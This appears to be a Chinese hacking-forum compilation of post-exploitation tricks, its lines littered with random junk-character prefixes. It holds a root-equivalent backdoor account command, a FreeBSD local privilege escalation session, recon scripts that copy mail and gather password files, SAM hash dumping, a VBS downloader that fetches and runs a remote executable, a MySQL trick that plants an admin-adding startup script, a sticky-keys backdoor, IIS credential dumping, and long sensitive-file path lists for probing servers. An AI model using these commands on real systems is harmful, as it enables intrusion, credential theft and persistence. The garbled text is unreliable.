/ y5 \' u5 J- k/ x4 j2 S. \useradd -o -u 0 nothack

八.freebsd本地提权
& ^( _; y8 C1 |- ~[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
( ^- V9 T* _  g, V+ S* vfs.usermount: 1
* [argp@julius ~]$ id
  R6 L& E6 ]* G& B3 ?# l* uid=1001(argp) gid=1001(argp) groups=1001(argp)
7 N. c  K7 F3 k6 ?! o, g6 T' |# T* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
) @  c# p( I$ Pcalling nmount()

: ?$ A1 ?5 a9 t. X（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
3 V/ j3 E1 W* X, I6 r6 G感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
& v6 j% o7 \# J3 balzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
" G$ V/ a5 `$ ^6 U$ a6 ~1 T2 b{
' K- K: O5 @7 X; U! G- _9 N1 I注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
4 |; F) T- J$ A5 G  E若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

$ h7 k$ W' ?# O5 E, o! d/ \5 S提权先执行systeminfo
$ a- z' [  Y9 _" f1 H' A* Y* ztoken 漏洞补丁号 KB956572
/ p6 _0 `+ G; _9 OChurrasco          kb952004
$ j) R' F3 J  M( v/ _" \7 \命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：
+ S( z5 s; _4 c+ Z
@echo off
echo #########system info collection
9 {" J4 z  a4 {" Q6 P( L5 zsysteminfo
$ w  S2 ?% b  }, R5 I4 iver
hostname
net user
, B  d5 o3 ^6 h4 O/ znet localgroup
6 K8 D- w. c8 x% vnet localgroup administrators
/ a& t6 ^( l* x  s) dnet user guest
5 |) I* V; y5 ~8 t, K8 x! Hnet user administrator
2 p  N3 C8 C. e3 }+ _
echo #######at- with   atq#####
3 S, I  W: ^& H& }6 K$ R/ N( {( }7 mecho schtask /query
7 |, r# c! j) \/ w- j
7 k) I( L; y' ?echo
echo ####task-list#############
tasklist /svc
echo
$ O8 D- H: ~5 ~; ?echo ####net-work infomation
ipconfig/all
route print
. R+ v; y' k% barp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
9 |4 @2 S' J* q3 U' `1 ?echo #######file-##############
) a1 M0 A, R7 T2 m( O2 Z/ Icd \
tree -F
& [4 c0 q' X3 Z$ p& v/ f8 [for linux：

#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
$ S6 G5 `3 [+ s1 a6 m: o: _3 Qecho #######basic infomation##
cat /proc/meminfo
% e0 l/ N; F. G2 }% _( techo
cat /proc/cpuinfo
( n( B$ k( A  y+ I& Y7 necho
. G7 _# O0 B- b8 ]$ [rpm -qa 2>/dev/null
2 I$ V) W) A3 l! X6 u9 z" v* d9 _######stole the mail......######
" ~; H: g7 E5 H4 @+ K% kcp -a /var/mail /tmp/getmail 2>/dev/null
8 B! i7 |' j3 j! ~
- [3 Y  ^0 R1 s  F4 R# r
echo 'u'r id is' `id`
3 I  k* ?; V& }echo ###atq&crontab#####
atq
. z$ V2 d% D0 o4 k# Y# [* P, D  U9 ucrontab -l
3 c' e6 \( `- s2 V3 cecho #####about var#####
1 d, u7 J' n0 q6 ^# jset

- @3 \$ d9 c% M# V7 recho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
8 D* V# _. V7 vcat /etc/hosts
& G* T3 F% H- bhostname
ipconfig -a
arp -v
: q: y+ T! r! m* V6 techo ########user####
cat /etc/passwd|grep -i sh
8 k4 M# d$ p) H5 f* D
echo ######service####
6 u9 j# }! A7 Y% R- X* jchkconfig --list
$ c) k- m" W! {$ u
for i in {oracle,mysql,tomcat,samba,apache,ftp}
1 S( Y  _' n% f8 A- d+ |* E8 |3 Mcat /etc/passwd|grep -i $i
  c6 X: D' Z# J  T+ zdone

( |, W" S0 f" E8 Dlocate passwd >/tmp/password 2>/dev/null
- m3 d* L: {& T7 U: @7 jsleep 5
) ~& h. J: e- H  j9 @) jlocate password >>/tmp/password 2>/dev/null
$ [5 f  @% L. l; {sleep 5
0 E) X' I# f9 z& z1 `locate conf >/tmp/sysconfig 2>dev/null
sleep 5
( D9 N( }  W" F% u+ v5 @" L0 ulocate config >>/tmp/sysconfig 2>/dev/null
- o. J5 }+ Y! q3 zsleep 5

###maybe can use "tree /"###
echo ##packing up#########
4 _0 H4 _) k# {( ]: B1 atar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
3 I7 j5 R% t/ H4 \6 t# e6 J——————————————
$ G$ H4 @5 V+ Q+ i3、ethash 不免杀怎么获取本机hash。
8 S# }$ q3 Q* @5 _" l首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
  e" r+ x1 ~+ H; u               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
8 ^3 v+ A! `$ L/ o* h4 W, X, d4 z注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
- l4 ?4 b* T) F4 p; u" j+ F接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
' m; P- H8 G  G# k$ z* v+ R, ^4、vbs 下载者
1
' Y- r, H% ?, A( u8 y; k- Zecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
3 ]# Y2 r7 d% V9 Recho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
6 J4 [: ^. p9 j0 E. I# `& fecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
) g) A3 I! Z# x' d# n5 G2 t. L0 ?9 c
/ ~. `8 ^1 c8 g  I4 ?; ]3 f2
5 }$ B( K3 o9 B9 n( L* t# oOn Error Resume Nextim iRemote,iLocal,s1,s2
0 z6 [9 p6 M( T- C  a" uiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
# s' A7 l3 q" n; B: Es1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
( n6 p; W- |8 o. W% |Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
5 c3 Y+ Y) J! A/ I& \- i
$ F3 ^0 q6 H8 Ucscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
4 U& c9 Q  S* W: y2 j——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
' j3 W0 |4 r6 z& y( ?& DREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
/ B/ B" n' v, K8 n% JREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
! k7 \! s" P9 c8 |: Ginsert into a values ("set wshshell=createobject (""wscript.shell"")");
5 U. q5 i* g* G' minsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
* R* R6 V' @9 \8 W& n% z) e3 ainsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
8 I# ?9 s. f; J+ u; C————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
: _3 ]' F; E0 I_____
8、for /d %i in (d:\freehost\*) do @echo %i
; q5 Z; F0 P) u: ^
列出d的所有目录
  
8 ^+ f* B5 x9 P) K  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来
$ h6 J0 U6 L7 q4 v2 [
2.for /r %i in (*.exe) do @echo %i
9 L- O/ Y/ j- D( o. P. d6 M/ M  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
( h0 I' O. k4 ?- K
; J! n" q- \8 G) z9 k. [9 ?for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
0 G9 c6 x4 a9 h/ T) n5 v
4 K; l6 A( E. j1 `* I3 C+ V, O. t3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

8 R4 e4 E# y* ^+ n4 ?2 e4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

2 ~$ S( h3 T/ e; L* R( C  delims=后的空格是分隔符 tokens是取第几个位置
——————————
) j/ W, O( G7 m4 m8 ?/ y! S/ {# p6 P- n) e●注册表:
$ |2 M; T, l' y* T/ J7 ]; n3 [1.Administrator注册表备份:
5 e) }8 i, a7 v$ e1 r! ]reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
9 u5 b4 T" }6 Q7 X
2.修改3389的默认端口:
9 k8 f" F' @' |" D  }. `5 _HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
  d% t; L6 ~2 @* I2 e修改PortNumber.
8 L8 r; W( `1 `9 N1 Y0 z
0 a+ J- S+ W+ {+ t3.清除3389登录记录:
6 S* S1 B) f) z9 F7 N- q; `reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

3 H# G7 b9 v7 ~; \5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

. K, t" J/ o; h' h6.IPSec默认免除项88端口(需重启):
6 [# s+ x1 p7 \; |% `- R9 A- ireg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
: i! x# g4 w. U& V6 P: `或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
% M1 e/ b) w; ]* vnetsh ipsec static set policy name="myipsec" assign=n
& t& }; a! v2 a4 Q7 r
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

  H* t8 Q' u* I/ q9.另类方法抓系统密码HASH
7 ~0 F3 H! e/ D( R0 E+ yreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
: P3 Z+ g9 A* X  ^1 |& s; L
10.shift映像劫持
% C: C/ e5 [$ k' H" f7 Hreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

7 m6 O& t8 o) U% o6 Greg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
, ]7 E! N! s+ t' l8 b$ J星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
* \& a% u$ Z& D/ c$ aif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
, A1 B: G* L. L* O# r! awscript.quit
9 M1 X. L8 Z+ v, |7 rend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
$ F; N, ^$ ?2 e$ z$ F( Y/ }user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
/ X6 Y' Z9 H9 V. f" }! \7 Xlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
: m( V+ X1 _5 ^7 Xend if
Next
6 o) k1 s, W- P7 p) ?/ R2 C4 D) K9 n. zwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
8 ]; l: R7 \- \复制代码
  \+ Y/ u5 r, i0 j; z----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
) k: N5 N4 y& a$ G  D- w将folder.htt文件，加入以下代码：
) O2 O) o+ v! O<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
% o% @, a0 I' v1 G7 K: G复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
3 B* U/ M* \# S8 x. @8 WPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
4 p' g0 L0 s( h. {% ~1 W6 J& N 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
0 R4 J* j0 r5 @# Z! R2 O% U 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
" `3 f% ~% h, }
==============================================================
LINUX常见路径：
8 ~* `3 }4 \; l- s
9 {0 h: Q9 N( F; z; ^/etc/passwd
! l# l0 q, s. v8 H9 H/etc/shadow
/etc/fstab
' A3 ]3 K2 V% g4 O: Z/etc/host.conf
8 a4 @! S# i# Q; Q7 F/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
' f8 s( E2 q; U: m7 x9 t$ \; B/var/www/htdocs/index.html
; ?. B: [' l9 H) ?2 J5 B- q/var/httpd/conf/php.ini
, j2 F' M) e+ `  A8 o+ A/var/httpd/htdocs/index.php
" [  w! H2 n) p; y9 M/var/httpd/conf/httpd.conf
# b. Z9 p- Z% q9 x8 A" |; u2 W/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
- T; n+ _0 h3 G, g0 p/usr/local/apache/htdocs/index.html
. `; f0 |3 S5 o+ V1 ~/usr/local/apache/htdocs/index.php
, f6 S2 U! n# Z4 t8 Z9 |/usr/local/apache2/htdocs/index.html
4 r1 B- n) F$ t# u/ Q# x/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
0 n) ]3 N: t9 j/tmp/apache/htdocs/index.html
6 G( Y0 h  T4 y+ x% }$ K/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
! |) Q. l; l( S$ q) C/ l) |7 p/www/php/php.ini
8 v" A) q1 V8 H1 f8 j2 T* O5 q; w3 F/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
2 p& ]' h  T# Q3 T  Z8 Z: t$ e/www/htdocs/index.php
+ B  \- h. x+ S+ D6 E# ?2 Y/www/htdocs/index.html
% j: m0 n2 ?. F/usr/local/httpd/conf/httpd.conf
1 L/ x5 i* a8 N8 |/apache/apache/conf/httpd.conf
, F- j% x- b3 o4 R7 ?, m/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
7 B1 u' s2 e$ h# l( f: ~* z# U# \/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
' o5 s1 q- M4 U% j+ k3 x4 e9 ~/ f/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
5 p# P! F& y9 m6 ]# g/etc/httpd/logs/error_log
% z7 A- h8 b. y. P+ H! l1 B" Z/etc/httpd/logs/error.log
7 h1 |! s  z7 Q* J; Y3 `/etc/httpd/logs/access_log
' |( H/ X& z; f) T1 w) c/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
" E/ x$ I' v6 {/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
5 B3 C0 m! U" L# ]0 r/var/log/apache/access.log
* k1 ~2 Z. B$ S# A/var/log/apache2/error_log
" d5 M% O# L  M# B/var/log/apache2/error.log
# K& R0 w! ?4 {$ _/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
8 I& j2 X- o: J+ m; Y% G1 W/var/www/logs/access_log
' z1 t. H  Z& ?1 `9 Y1 v' n6 r" f# [/var/www/logs/access.log
/usr/local/apache/logs/error_log
, [) O* ]* c# u# f/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
& o: ], O. [7 t$ R# y- Y/usr/local/apache/logs/access.log
/var/log/error_log
0 P) H: j# u/ v4 }% [4 @+ b/var/log/error.log
  T8 H2 |& O! M$ b0 M3 J/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
! w; [* G) e+ ~% f  `* j" c  |/etc/php.ini
/bin/php.ini
2 w0 @7 X- B  j/etc/init.d/httpd
9 M- b; y% N. W, x5 Q/etc/init.d/mysql
/etc/httpd/php.ini
: V! s/ i9 N1 a, V! D( e/usr/lib/php.ini
/ O$ ^( w+ m, o8 i1 ^, Q9 C! s$ `/usr/lib/php/php.ini
8 m8 }$ z/ o1 l( v6 @% a7 _6 v/usr/local/etc/php.ini
/usr/local/lib/php.ini
, p2 V/ J$ [6 @' V/usr/local/php/lib/php.ini
7 @+ u2 @8 [4 Z  J/ T/usr/local/php4/lib/php.ini
- a5 o$ [: b4 H/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
0 q: d4 |5 I) `0 J/usr/local/php5/lib/php.ini
; V# h  U, j/ N- }! J$ Z" A/usr/local/php5/etc/php.ini
) I# t2 b: ?. p$ N" Y& _1 I$ F- n# y/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
( Q6 e8 }% U5 h6 R1 d1 I/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
+ f8 G8 R* X# N" W# b/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
4 ~" i, E0 l! r6 ~& `  b/etc/php/php.ini
/etc/php/php4/php.ini
: a6 K- e  R1 ]% Y* M* ~, z/ ?7 ~/etc/php/apache/php.ini
2 L& H3 M" k( f7 M# m' b/etc/php/apache2/php.ini
% Y% m5 {( X! g( p: i! n; _4 V& g6 E/web/conf/php.ini
/usr/local/Zend/etc/php.ini
, i1 L% g3 s: M- t* E/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
, o* g) E. L3 ?' t2 q/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
4 \" F3 |9 ~7 G/ c3 T/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
# d& q" k0 H. n  v/php/php.ini
/PHP/php.ini
3 G& ~- ]2 R9 j* |6 k9 M/ B/apache/php/php.ini
! P7 A1 ~6 \3 u% d/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
% y( v( K+ G$ @1 u+ B2 R/NetServer/bin/stable/apache/php.ini
* Q7 s) y$ z: A# O7 J" j0 _/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
$ ~) O0 J' \4 s1 L1 v1 {' s! s/var/log/mysql/mysql-bin.log
3 i* n2 `, m3 O/ Z* v/var/log/mysql.log
/var/log/mysqlderror.log
( c( g, k. p% Y% R$ B, y6 R/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
5 k/ p: \' g3 N& {6 d; b/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
7 h; v% K4 A6 v. i4 q6 Q/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
6 z- B% ~/ H) Q( g% G8 ?/usr/local/cpanel/logs/error_log
0 H, s! J0 b/ U9 C# ?/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
5 z' x! e& T  t5 ]/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
5 N8 `) P  T1 x2 K/usr/local/share/examples/php/php.ini
+ u+ u9 T. e4 [2 F% g: {$ S7 `
) ]7 e. ~1 b, q, e6 e9 l# ^: ?+ G2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
3 p, Z- g1 H+ Q/ p$ [" ?
4 P: C$ U8 ?. p. e2 r4 B/ n! |) Qc:\windows\php.ini
' t& p9 {: Z+ A' V- @( s) }c:\boot.ini
c:\1.txt
c:\a.txt

. w# e2 D0 x$ |  X; ec:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
  r8 B  z* U' rc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
# p2 M0 B" ^4 P) E9 {& [6 AC:\WinWebMail\SysInfo.ini
* i& [! K& @2 E8 h: {3 fC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
2 F/ ?3 n" i( {9 _7 B# s# iC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

; ]  J' C9 G6 E+ q5 g/ [. yc:\hzhost\databases\url.asp

5 U7 K  J5 W8 A! _6 sc:\hzhost\hzclient.exe
6 y& J; `! u3 U# e7 fC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

; g2 p$ {' ]" n0 W9 s+ JC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
9 \  b  m0 K& n  S9 n% l. q" i. C  ?+ vc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
% M% q- D3 d# ?2 E* T; C8 Sc:\wwwsite\index.asp
0 |2 x% B" ~, R5 U, F+ Ac:\WWWROOT\index.asp
c:\web\index.php
0 q& P# l  d9 x8 w$ n/ Y1 Fc:\www\index.php
) Y4 ~1 W3 z9 V! [3 ~c:\WWWROOT\index.php
0 P1 `" K& O( L, wc:\WWWsite\index.php
c:\web\default.html
# L* V5 t$ D# ec:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
$ `! S% {6 O+ s5 A: {c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
8 c* N: T* o) W& {$ ?; @c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
% D5 @0 I6 G( N1 B* o- uc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
. R* Y( [; K! e. {$ B( BC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
: \: w9 ]- ?4 J$ OC:\Program Files\Internet Explorer\IEXPLORE.EXE
6 D( j3 ]8 ~/ ]* B2 J: lC:\Program Files\winrar\rar.exe
4 _( ?/ A: z, h" B4 p" f6 Z" QC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
( q+ s/ f7 x/ t6 O5 r" ic:\rising.ini
( Y# ^, S1 `" P4 O( BC:\Program Files\Rising\Rav\RsTask.xml
* t) ^! |5 S! Z  f+ f8 u  _" `C:\Documents and Settings\All Users\Start Menu\desktop.ini
( a2 s: T" W* D, ~) \C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
8 b3 `3 F, k: yC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
% `$ h" x! C& c* G+ ]$ kC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
0 ]1 e5 ^- ^. i- {/ cC:\Documents and Settings\Administrator\桌面\1.txt
" J0 D  E% q" D; m! V  _1 S, \C:\Documents and Settings\Administrator\My Documents\a.txt
8 X7 X- k' A, d* `C:\Documents and Settings\Administrator\桌面\a.txt
8 T% t. H2 q+ O% r- Q2 a1 R' N% N- uC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
7 s/ P) I7 q% F( X% sC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
/ H, w4 a% |- x9 D. a& BC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
" J* R+ t) t" T- x: D- yC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
9 Q8 X4 r+ U, x4 s2 g& eC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
( J$ u! e% v; H6 LC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
' K- O, x/ |2 @' a/ QC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
7 J, _5 I& X3 ~9 Jc:\MySQL\MySQL Server 4.1\bin\mysql.exe
, p8 j2 M$ t# d# T8 Qc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
, T: @3 n8 A, T" i$ bC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
. u9 n( S* s$ I' x2 \6 DC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
8 q4 o$ |; P( W" u7 `: g- J  gC:\WINDOWS\system32\config\sam
1 H; X. d- G# w  a- B6 d$ WC:\WINDOWS\system32\config\system
! D; l7 R* N, r4 r9 `c:\CMailServer\config.ini
! J7 j' a! q+ e( fc:\program files\CMailServer\config.ini
" }/ _7 Y2 P& k, @9 l0 Xc:\tomcat6\tomcat6\bin\version.sh
* x, N5 I; n1 M+ `* t# Uc:\tomcat6\bin\version.sh
% O" J' @" Y' n' D8 ~( \c:\tomcat\bin\version.sh
! d) i4 ~0 X0 C8 W' U! Uc:\program files\tomcat6\bin\version.sh
